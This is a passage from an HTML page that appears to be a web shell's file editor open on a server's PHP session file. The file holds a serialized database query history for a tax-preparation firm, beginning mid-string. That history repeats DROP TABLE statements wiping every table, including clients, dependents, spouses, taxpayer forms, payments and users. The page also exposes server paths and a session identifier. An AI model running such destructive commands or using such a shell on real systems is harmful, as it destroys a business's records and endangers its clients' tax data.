`payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:8;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:9;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:10;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:11;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:12;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:13;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:14;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:15;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:16;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:17;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:19:&quot;DROP TABLE `users`;&quot;;}i:18;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:19;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:20;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:21;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:19:&quot;DROP TABLE `users`;&quot;;}i:22;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:19:&quot;DROP TABLE `users`;&quot;;}i:23;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:24;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}}sql_from_query_box|b:1;errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_e914038af8a754c41ae2f42614b81bad'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>